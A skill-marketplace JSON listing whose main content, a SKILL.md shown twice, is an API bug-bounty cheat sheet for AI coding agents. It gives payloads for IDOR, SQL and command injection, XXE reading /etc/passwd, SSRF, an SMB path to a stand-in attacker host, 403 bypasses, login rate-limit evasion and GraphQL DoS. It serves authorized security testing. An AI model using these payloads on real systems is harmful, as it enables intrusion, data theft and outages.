[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFRCMMXB8QSD0XAXHDV37G":3,"skill-same:01M6AFRCMMXB8QSD0XAXHDV37G":89},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":34,"publishedAt":57,"linkOnly":58,"markdownContent":59,"markdownBody":60,"frontMatter":61,"refName":65,"commitSha":66,"skillDirectory":67,"forksCount":68,"repositoryHtmlUrl":69,"repositoryHomepageUrl":70,"ownerHtmlUrl":71,"ownerBlogUrl":72,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M6AFRCMMXB8QSD0XAXHDV37G","api-fuzzing-bug-bounty",null,"This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug bounty API testing\", or needs guidance on API security assessment techniques.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33332,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fapi-fuzzing-bug-bounty\u002FSKILL.md",[18,23,26,29],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56],"fuzzing","bug","bug bounty","api fuzzing bug bounty","api","when","testing","test api","techniques","penetration","api security","api security assessment","api testing","security assessment","idor","GraphQL","REST","penetration testing","assessment","test","vulnerabilities","security","2026-11-10 10:12:30",false,"---\nname: api-fuzzing-bug-bounty\ndescription: This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug bounty API testing\", or needs guidance on API security assessment techniques.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# API Fuzzing for Bug Bounty\n\n## Purpose\n\nProvide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.\n\n## Inputs\u002FPrerequisites\n\n- Burp Suite or similar proxy tool\n- API wordlists (SecLists, api_wordlist)\n- Understanding of REST\u002FGraphQL\u002FSOAP protocols\n- Python for scripting\n- Target API endpoints and documentation (if available)\n\n## Outputs\u002FDeliverables\n\n- Identified API vulnerabilities\n- IDOR exploitation proofs\n- Authentication bypass techniques\n- SQL injection points\n- Unauthorized data access documentation\n\n---\n\n## API Types Overview\n\n| Type | Protocol | Data Format | Structure |\n|------|----------|-------------|-----------|\n| SOAP | HTTP | XML | Header + Body |\n| REST | HTTP | JSON\u002FXML\u002FURL | Defined endpoints |\n| GraphQL | HTTP | Custom Query | Single endpoint |\n\n---\n\n## Core Workflow\n\n### Step 1: API Reconnaissance\n\nIdentify API type and enumerate endpoints:\n\n```bash\n# Check for Swagger\u002FOpenAPI documentation\n\u002Fswagger.json\n\u002Fopenapi.json\n\u002Fapi-docs\n\u002Fv1\u002Fapi-docs\n\u002Fswagger-ui.html\n\n# Use Kiterunner for API discovery\nkr scan https:\u002F\u002Ftarget.com -w routes-large.kite\n\n# Extract paths from Swagger\npython3 json2paths.py swagger.json\n```\n\n### Step 2: Authentication Testing\n\n```bash\n# Test different login paths\n\u002Fapi\u002Fmobile\u002Flogin\n\u002Fapi\u002Fv3\u002Flogin\n\u002Fapi\u002Fmagic_link\n\u002Fapi\u002Fadmin\u002Flogin\n\n# Check rate limiting on auth endpoints\n# If no rate limit → brute force possible\n\n# Test mobile vs web API separately\n# Don't assume same security controls\n```\n\n### Step 3: IDOR Testing\n\nInsecure Direct Object Reference is the most common API vulnerability:\n\n```bash\n# Basic IDOR\nGET \u002Fapi\u002Fusers\u002F1234 → GET \u002Fapi\u002Fusers\u002F1235\n\n# Even if ID is email-based, try numeric\n\u002F?user_id=111 instead of \u002F?user_id=user@mail.com\n\n# Test \u002Fme\u002Forders vs \u002Fuser\u002F654321\u002Forders\n```\n\n**IDOR Bypass Techniques:**\n\n```bash\n# Wrap ID in array\n{\"id\":111} → {\"id\":[111]}\n\n# JSON wrap\n{\"id\":111} → {\"id\":{\"id\":111}}\n\n# Send ID twice\nURL?id=\u003CLEGIT>&id=\u003CVICTIM>\n\n# Wildcard injection\n{\"user_id\":\"*\"}\n\n# Parameter pollution\n\u002Fapi\u002Fget_profile?user_id=\u003Cvictim>&user_id=\u003Clegit>\n{\"user_id\":\u003Clegit_id>,\"user_id\":\u003Cvictim_id>}\n```\n\n### Step 4: Injection Testing\n\n**SQL Injection in JSON:**\n\n```json\n{\"id\":\"56456\"}                    → OK\n{\"id\":\"56456 AND 1=1#\"}           → OK  \n{\"id\":\"56456 AND 1=2#\"}           → OK\n{\"id\":\"56456 AND 1=3#\"}           → ERROR (vulnerable!)\n{\"id\":\"56456 AND sleep(15)#\"}     → SLEEP 15 SEC\n```\n\n**Command Injection:**\n\n```bash\n# Ruby on Rails\n?url=Kernel#open → ?url=|ls\n\n# Linux command injection\napi.url.com\u002Fendpoint?name=file.txt;ls%20\u002F\n```\n\n**XXE Injection:**\n\n```xml\n\u003C!DOCTYPE test [ \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\"> ]>\n```\n\n**SSRF via API:**\n\n```html\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n```\n\n**.NET Path.Combine Vulnerability:**\n\n```bash\n# If .NET app uses Path.Combine(path_1, path_2)\n# Test for path traversal\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=a.png\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=C:\\inetpub\\wwwroot\\web.config\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=\\\\smb.dns.attacker.com\\a.png\n```\n\n### Step 5: Method Testing\n\n```bash\n# Test all HTTP methods\nGET \u002Fapi\u002Fv1\u002Fusers\u002F1\nPOST \u002Fapi\u002Fv1\u002Fusers\u002F1\nPUT \u002Fapi\u002Fv1\u002Fusers\u002F1\nDELETE \u002Fapi\u002Fv1\u002Fusers\u002F1\nPATCH \u002Fapi\u002Fv1\u002Fusers\u002F1\n\n# Switch content type\nContent-Type: application\u002Fjson → application\u002Fxml\n```\n\n---\n\n## GraphQL-Specific Testing\n\n### Introspection Query\n\nFetch entire backend schema:\n\n```graphql\n{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}\n```\n\n**URL-encoded version:**\n\n```\n\u002Fgraphql?query={__schema{types{name,kind,description,fields{name}}}}\n```\n\n### GraphQL IDOR\n\n```graphql\n# Try accessing other user IDs\nquery {\n  user(id: \"OTHER_USER_ID\") {\n    email\n    password\n    creditCard\n  }\n}\n```\n\n### GraphQL SQL\u002FNoSQL Injection\n\n```graphql\nmutation {\n  login(input: {\n    email: \"test' or 1=1--\"\n    password: \"password\"\n  }) {\n    success\n    jwt\n  }\n}\n```\n\n### Rate Limit Bypass (Batching)\n\n```graphql\nmutation {login(input:{email:\"a@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"b@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"c@example.com\" password:\"password\"}){success jwt}}\n```\n\n### GraphQL DoS (Nested Queries)\n\n```graphql\nquery {\n  posts {\n    comments {\n      user {\n        posts {\n          comments {\n            user {\n              posts { ... }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### GraphQL XSS\n\n```bash\n# XSS via GraphQL endpoint\nhttp:\u002F\u002Ftarget.com\u002Fgraphql?query={user(name:\"\u003Cscript>alert(1)\u003C\u002Fscript>\"){id}}\n\n# URL-encoded XSS\nhttp:\u002F\u002Ftarget.com\u002Fexample?id=%C\u002Fscript%E%Cscript%Ealert('XSS')%C\u002Fscript%E\n```\n\n### GraphQL Tools\n\n| Tool | Purpose |\n|------|---------|\n| GraphCrawler | Schema discovery |\n| graphw00f | Fingerprinting |\n| clairvoyance | Schema reconstruction |\n| InQL | Burp extension |\n| GraphQLmap | Exploitation |\n\n---\n\n## Endpoint Bypass Techniques\n\nWhen receiving 403\u002F401, try these bypasses:\n\n```bash\n# Original blocked request\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata → 403\n\n# Bypass attempts\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata.json\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata?\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata\u002F\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata??\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%20\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%09\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata#\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata&details\n\u002Fapi\u002Fv1\u002Fusers\u002F..;\u002Fsensitivedata\n```\n\n---\n\n## Output Exploitation\n\n### PDF Export Attacks\n\n```html\n\u003C!-- LFI via PDF export -->\n\u003Ciframe src=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\" height=1000 width=800>\n\n\u003C!-- SSRF via PDF export -->\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\n\u003C!-- Port scanning -->\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n\n\u003C!-- IP disclosure -->\n\u003Cimg src=\"https:\u002F\u002Fiplogger.com\u002Fyourcode.gif\"\u002F>\n```\n\n### DoS via Limits\n\n```bash\n# Normal request\n\u002Fapi\u002Fnews?limit=100\n\n# DoS attempt\n\u002Fapi\u002Fnews?limit=9999999999\n```\n\n---\n\n## Common API Vulnerabilities Checklist\n\n| Vulnerability | Description |\n|---------------|-------------|\n| API Exposure | Unprotected endpoints exposed publicly |\n| Misconfigured Caching | Sensitive data cached incorrectly |\n| Exposed Tokens | API keys\u002Ftokens in responses or URLs |\n| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |\n| IDOR \u002F BOLA | Broken Object Level Authorization |\n| Undocumented Endpoints | Hidden admin\u002Fdebug endpoints |\n| Different Versions | Security gaps in older API versions |\n| Rate Limiting | Missing or bypassable rate limits |\n| Race Conditions | TOCTOU vulnerabilities |\n| XXE Injection | XML parser exploitation |\n| Content Type Issues | Switching between JSON\u002FXML |\n| HTTP Method Tampering | GET→DELETE\u002FPUT abuse |\n\n---\n\n## Quick Reference\n\n| Vulnerability | Test Payload | Risk |\n|---------------|--------------|------|\n| IDOR | Change user_id parameter | High |\n| SQLi | `' OR 1=1--` in JSON | Critical |\n| Command Injection | `; ls \u002F` | Critical |\n| XXE | DOCTYPE with ENTITY | High |\n| SSRF | Internal IP in params | High |\n| Rate Limit Bypass | Batch requests | Medium |\n| Method Tampering | GET→DELETE | High |\n\n---\n\n## Tools Reference\n\n| Category | Tool | URL |\n|----------|------|-----|\n| API Fuzzing | Fuzzapi | github.com\u002FFuzzapi\u002Ffuzzapi |\n| API Fuzzing | API-fuzzer | github.com\u002FFuzzapi\u002FAPI-fuzzer |\n| API Fuzzing | Astra | github.com\u002Fflipkart-incubator\u002FAstra |\n| API Security | apicheck | github.com\u002FBBVA\u002Fapicheck |\n| API Discovery | Kiterunner | github.com\u002Fassetnote\u002Fkiterunner |\n| API Discovery | openapi_security_scanner | github.com\u002Fngalongc\u002Fopenapi_security_scanner |\n| API Toolkit | APIKit | github.com\u002FAPI-Security\u002FAPIKit |\n| API Keys | API Guesser | api-guesser.netlify.app |\n| GUID | GUID Guesser | gist.github.com\u002FDanaEpp\u002F8c6803e542f094da5c4079622f9b4d18 |\n| GraphQL | InQL | github.com\u002Fdoyensec\u002Finql |\n| GraphQL | GraphCrawler | github.com\u002Fgsmith257-cyber\u002FGraphCrawler |\n| GraphQL | graphw00f | github.com\u002Fdolevf\u002Fgraphw00f |\n| GraphQL | clairvoyance | github.com\u002Fnikitastupin\u002Fclairvoyance |\n| GraphQL | batchql | github.com\u002Fassetnote\u002Fbatchql |\n| GraphQL | graphql-cop | github.com\u002Fdolevf\u002Fgraphql-cop |\n| Wordlists | SecLists | github.com\u002Fdanielmiessler\u002FSecLists |\n| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io\u002FSwagger-EZ |\n| Swagger Routes | swagroutes | github.com\u002Famalmurali47\u002Fswagroutes |\n| API Mindmap | MindAPI | dsopas.github.io\u002FMindAPI\u002Fplay |\n| JSON Paths | json2paths | github.com\u002Fs0md3v\u002Fdump\u002Ftree\u002Fmaster\u002Fjson2paths |\n\n---\n\n## Constraints\n\n**Must:**\n- Test mobile, web, and developer APIs separately\n- Check all API versions (\u002Fv1, \u002Fv2, \u002Fv3)\n- Validate both authenticated and unauthenticated access\n\n**Must Not:**\n- Assume same security controls across API versions\n- Skip testing undocumented endpoints\n- Ignore rate limiting checks\n\n**Should:**\n- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend\n- Check archive.org for historical API endpoints\n- Test for race conditions on sensitive operations\n\n---\n\n## Examples\n\n### Example 1: IDOR Exploitation\n\n```bash\n# Original request (own data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12345\nAuthorization: Bearer \u003Ctoken>\n\n# Modified request (other user's data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12346\nAuthorization: Bearer \u003Ctoken>\n\n# Response reveals other user's invoice data\n```\n\n### Example 2: GraphQL Introspection\n\n```bash\ncurl -X POST https:\u002F\u002Ftarget.com\u002Fgraphql \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__schema{types{name,fields{name}}}}\"}'\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |\n| 401 on all endpoints | Try adding `?user_id=1` parameter |\n| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |\n| Rate limited | Use IP rotation or batch requests |\n| Can't find endpoints | Check Swagger, archive.org, JS files |\n","# API Fuzzing for Bug Bounty\n\n## Purpose\n\nProvide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.\n\n## Inputs\u002FPrerequisites\n\n- Burp Suite or similar proxy tool\n- API wordlists (SecLists, api_wordlist)\n- Understanding of REST\u002FGraphQL\u002FSOAP protocols\n- Python for scripting\n- Target API endpoints and documentation (if available)\n\n## Outputs\u002FDeliverables\n\n- Identified API vulnerabilities\n- IDOR exploitation proofs\n- Authentication bypass techniques\n- SQL injection points\n- Unauthorized data access documentation\n\n---\n\n## API Types Overview\n\n| Type | Protocol | Data Format | Structure |\n|------|----------|-------------|-----------|\n| SOAP | HTTP | XML | Header + Body |\n| REST | HTTP | JSON\u002FXML\u002FURL | Defined endpoints |\n| GraphQL | HTTP | Custom Query | Single endpoint |\n\n---\n\n## Core Workflow\n\n### Step 1: API Reconnaissance\n\nIdentify API type and enumerate endpoints:\n\n```bash\n# Check for Swagger\u002FOpenAPI documentation\n\u002Fswagger.json\n\u002Fopenapi.json\n\u002Fapi-docs\n\u002Fv1\u002Fapi-docs\n\u002Fswagger-ui.html\n\n# Use Kiterunner for API discovery\nkr scan https:\u002F\u002Ftarget.com -w routes-large.kite\n\n# Extract paths from Swagger\npython3 json2paths.py swagger.json\n```\n\n### Step 2: Authentication Testing\n\n```bash\n# Test different login paths\n\u002Fapi\u002Fmobile\u002Flogin\n\u002Fapi\u002Fv3\u002Flogin\n\u002Fapi\u002Fmagic_link\n\u002Fapi\u002Fadmin\u002Flogin\n\n# Check rate limiting on auth endpoints\n# If no rate limit → brute force possible\n\n# Test mobile vs web API separately\n# Don't assume same security controls\n```\n\n### Step 3: IDOR Testing\n\nInsecure Direct Object Reference is the most common API vulnerability:\n\n```bash\n# Basic IDOR\nGET \u002Fapi\u002Fusers\u002F1234 → GET \u002Fapi\u002Fusers\u002F1235\n\n# Even if ID is email-based, try numeric\n\u002F?user_id=111 instead of \u002F?user_id=user@mail.com\n\n# Test \u002Fme\u002Forders vs \u002Fuser\u002F654321\u002Forders\n```\n\n**IDOR Bypass Techniques:**\n\n```bash\n# Wrap ID in array\n{\"id\":111} → {\"id\":[111]}\n\n# JSON wrap\n{\"id\":111} → {\"id\":{\"id\":111}}\n\n# Send ID twice\nURL?id=\u003CLEGIT>&id=\u003CVICTIM>\n\n# Wildcard injection\n{\"user_id\":\"*\"}\n\n# Parameter pollution\n\u002Fapi\u002Fget_profile?user_id=\u003Cvictim>&user_id=\u003Clegit>\n{\"user_id\":\u003Clegit_id>,\"user_id\":\u003Cvictim_id>}\n```\n\n### Step 4: Injection Testing\n\n**SQL Injection in JSON:**\n\n```json\n{\"id\":\"56456\"}                    → OK\n{\"id\":\"56456 AND 1=1#\"}           → OK  \n{\"id\":\"56456 AND 1=2#\"}           → OK\n{\"id\":\"56456 AND 1=3#\"}           → ERROR (vulnerable!)\n{\"id\":\"56456 AND sleep(15)#\"}     → SLEEP 15 SEC\n```\n\n**Command Injection:**\n\n```bash\n# Ruby on Rails\n?url=Kernel#open → ?url=|ls\n\n# Linux command injection\napi.url.com\u002Fendpoint?name=file.txt;ls%20\u002F\n```\n\n**XXE Injection:**\n\n```xml\n\u003C!DOCTYPE test [ \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\"> ]>\n```\n\n**SSRF via API:**\n\n```html\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n```\n\n**.NET Path.Combine Vulnerability:**\n\n```bash\n# If .NET app uses Path.Combine(path_1, path_2)\n# Test for path traversal\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=a.png\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=C:\\inetpub\\wwwroot\\web.config\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=\\\\smb.dns.attacker.com\\a.png\n```\n\n### Step 5: Method Testing\n\n```bash\n# Test all HTTP methods\nGET \u002Fapi\u002Fv1\u002Fusers\u002F1\nPOST \u002Fapi\u002Fv1\u002Fusers\u002F1\nPUT \u002Fapi\u002Fv1\u002Fusers\u002F1\nDELETE \u002Fapi\u002Fv1\u002Fusers\u002F1\nPATCH \u002Fapi\u002Fv1\u002Fusers\u002F1\n\n# Switch content type\nContent-Type: application\u002Fjson → application\u002Fxml\n```\n\n---\n\n## GraphQL-Specific Testing\n\n### Introspection Query\n\nFetch entire backend schema:\n\n```graphql\n{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}\n```\n\n**URL-encoded version:**\n\n```\n\u002Fgraphql?query={__schema{types{name,kind,description,fields{name}}}}\n```\n\n### GraphQL IDOR\n\n```graphql\n# Try accessing other user IDs\nquery {\n  user(id: \"OTHER_USER_ID\") {\n    email\n    password\n    creditCard\n  }\n}\n```\n\n### GraphQL SQL\u002FNoSQL Injection\n\n```graphql\nmutation {\n  login(input: {\n    email: \"test' or 1=1--\"\n    password: \"password\"\n  }) {\n    success\n    jwt\n  }\n}\n```\n\n### Rate Limit Bypass (Batching)\n\n```graphql\nmutation {login(input:{email:\"a@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"b@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"c@example.com\" password:\"password\"}){success jwt}}\n```\n\n### GraphQL DoS (Nested Queries)\n\n```graphql\nquery {\n  posts {\n    comments {\n      user {\n        posts {\n          comments {\n            user {\n              posts { ... }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### GraphQL XSS\n\n```bash\n# XSS via GraphQL endpoint\nhttp:\u002F\u002Ftarget.com\u002Fgraphql?query={user(name:\"\u003Cscript>alert(1)\u003C\u002Fscript>\"){id}}\n\n# URL-encoded XSS\nhttp:\u002F\u002Ftarget.com\u002Fexample?id=%C\u002Fscript%E%Cscript%Ealert('XSS')%C\u002Fscript%E\n```\n\n### GraphQL Tools\n\n| Tool | Purpose |\n|------|---------|\n| GraphCrawler | Schema discovery |\n| graphw00f | Fingerprinting |\n| clairvoyance | Schema reconstruction |\n| InQL | Burp extension |\n| GraphQLmap | Exploitation |\n\n---\n\n## Endpoint Bypass Techniques\n\nWhen receiving 403\u002F401, try these bypasses:\n\n```bash\n# Original blocked request\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata → 403\n\n# Bypass attempts\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata.json\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata?\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata\u002F\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata??\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%20\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%09\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata#\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata&details\n\u002Fapi\u002Fv1\u002Fusers\u002F..;\u002Fsensitivedata\n```\n\n---\n\n## Output Exploitation\n\n### PDF Export Attacks\n\n```html\n\u003C!-- LFI via PDF export -->\n\u003Ciframe src=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\" height=1000 width=800>\n\n\u003C!-- SSRF via PDF export -->\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\n\u003C!-- Port scanning -->\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n\n\u003C!-- IP disclosure -->\n\u003Cimg src=\"https:\u002F\u002Fiplogger.com\u002Fyourcode.gif\"\u002F>\n```\n\n### DoS via Limits\n\n```bash\n# Normal request\n\u002Fapi\u002Fnews?limit=100\n\n# DoS attempt\n\u002Fapi\u002Fnews?limit=9999999999\n```\n\n---\n\n## Common API Vulnerabilities Checklist\n\n| Vulnerability | Description |\n|---------------|-------------|\n| API Exposure | Unprotected endpoints exposed publicly |\n| Misconfigured Caching | Sensitive data cached incorrectly |\n| Exposed Tokens | API keys\u002Ftokens in responses or URLs |\n| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |\n| IDOR \u002F BOLA | Broken Object Level Authorization |\n| Undocumented Endpoints | Hidden admin\u002Fdebug endpoints |\n| Different Versions | Security gaps in older API versions |\n| Rate Limiting | Missing or bypassable rate limits |\n| Race Conditions | TOCTOU vulnerabilities |\n| XXE Injection | XML parser exploitation |\n| Content Type Issues | Switching between JSON\u002FXML |\n| HTTP Method Tampering | GET→DELETE\u002FPUT abuse |\n\n---\n\n## Quick Reference\n\n| Vulnerability | Test Payload | Risk |\n|---------------|--------------|------|\n| IDOR | Change user_id parameter | High |\n| SQLi | `' OR 1=1--` in JSON | Critical |\n| Command Injection | `; ls \u002F` | Critical |\n| XXE | DOCTYPE with ENTITY | High |\n| SSRF | Internal IP in params | High |\n| Rate Limit Bypass | Batch requests | Medium |\n| Method Tampering | GET→DELETE | High |\n\n---\n\n## Tools Reference\n\n| Category | Tool | URL |\n|----------|------|-----|\n| API Fuzzing | Fuzzapi | github.com\u002FFuzzapi\u002Ffuzzapi |\n| API Fuzzing | API-fuzzer | github.com\u002FFuzzapi\u002FAPI-fuzzer |\n| API Fuzzing | Astra | github.com\u002Fflipkart-incubator\u002FAstra |\n| API Security | apicheck | github.com\u002FBBVA\u002Fapicheck |\n| API Discovery | Kiterunner | github.com\u002Fassetnote\u002Fkiterunner |\n| API Discovery | openapi_security_scanner | github.com\u002Fngalongc\u002Fopenapi_security_scanner |\n| API Toolkit | APIKit | github.com\u002FAPI-Security\u002FAPIKit |\n| API Keys | API Guesser | api-guesser.netlify.app |\n| GUID | GUID Guesser | gist.github.com\u002FDanaEpp\u002F8c6803e542f094da5c4079622f9b4d18 |\n| GraphQL | InQL | github.com\u002Fdoyensec\u002Finql |\n| GraphQL | GraphCrawler | github.com\u002Fgsmith257-cyber\u002FGraphCrawler |\n| GraphQL | graphw00f | github.com\u002Fdolevf\u002Fgraphw00f |\n| GraphQL | clairvoyance | github.com\u002Fnikitastupin\u002Fclairvoyance |\n| GraphQL | batchql | github.com\u002Fassetnote\u002Fbatchql |\n| GraphQL | graphql-cop | github.com\u002Fdolevf\u002Fgraphql-cop |\n| Wordlists | SecLists | github.com\u002Fdanielmiessler\u002FSecLists |\n| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io\u002FSwagger-EZ |\n| Swagger Routes | swagroutes | github.com\u002Famalmurali47\u002Fswagroutes |\n| API Mindmap | MindAPI | dsopas.github.io\u002FMindAPI\u002Fplay |\n| JSON Paths | json2paths | github.com\u002Fs0md3v\u002Fdump\u002Ftree\u002Fmaster\u002Fjson2paths |\n\n---\n\n## Constraints\n\n**Must:**\n- Test mobile, web, and developer APIs separately\n- Check all API versions (\u002Fv1, \u002Fv2, \u002Fv3)\n- Validate both authenticated and unauthenticated access\n\n**Must Not:**\n- Assume same security controls across API versions\n- Skip testing undocumented endpoints\n- Ignore rate limiting checks\n\n**Should:**\n- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend\n- Check archive.org for historical API endpoints\n- Test for race conditions on sensitive operations\n\n---\n\n## Examples\n\n### Example 1: IDOR Exploitation\n\n```bash\n# Original request (own data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12345\nAuthorization: Bearer \u003Ctoken>\n\n# Modified request (other user's data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12346\nAuthorization: Bearer \u003Ctoken>\n\n# Response reveals other user's invoice data\n```\n\n### Example 2: GraphQL Introspection\n\n```bash\ncurl -X POST https:\u002F\u002Ftarget.com\u002Fgraphql \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__schema{types{name,fields{name}}}}\"}'\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |\n| 401 on all endpoints | Try adding `?user_id=1` parameter |\n| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |\n| Rate limited | Use IP rotation or batch requests |\n| Can't find endpoints | Check Swagger, archive.org, JS files |\n",{"name":5,"metadata":62,"description":7},{"author":63,"version":64},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fapi-fuzzing-bug-bounty",3911,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-11 21:38:31",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add davila7\u002Fclaude-code-templates --skill api-fuzzing-bug-bounty",{"tool":81,"command":82},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill api-fuzzing-bug-bounty",{"tool":84,"command":85},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill api-fuzzing-bug-bounty","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fapi-fuzzing-bug-bounty\u002FSKILL.md",true,[],[90,117,144,173,208,229],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":97,"publishedAt":57},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[96],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[98,99,100,101,102,103,104,105,106,40,107,108,109,110,111,112,113,114,115,116],"scoring","pool","wealthville pool 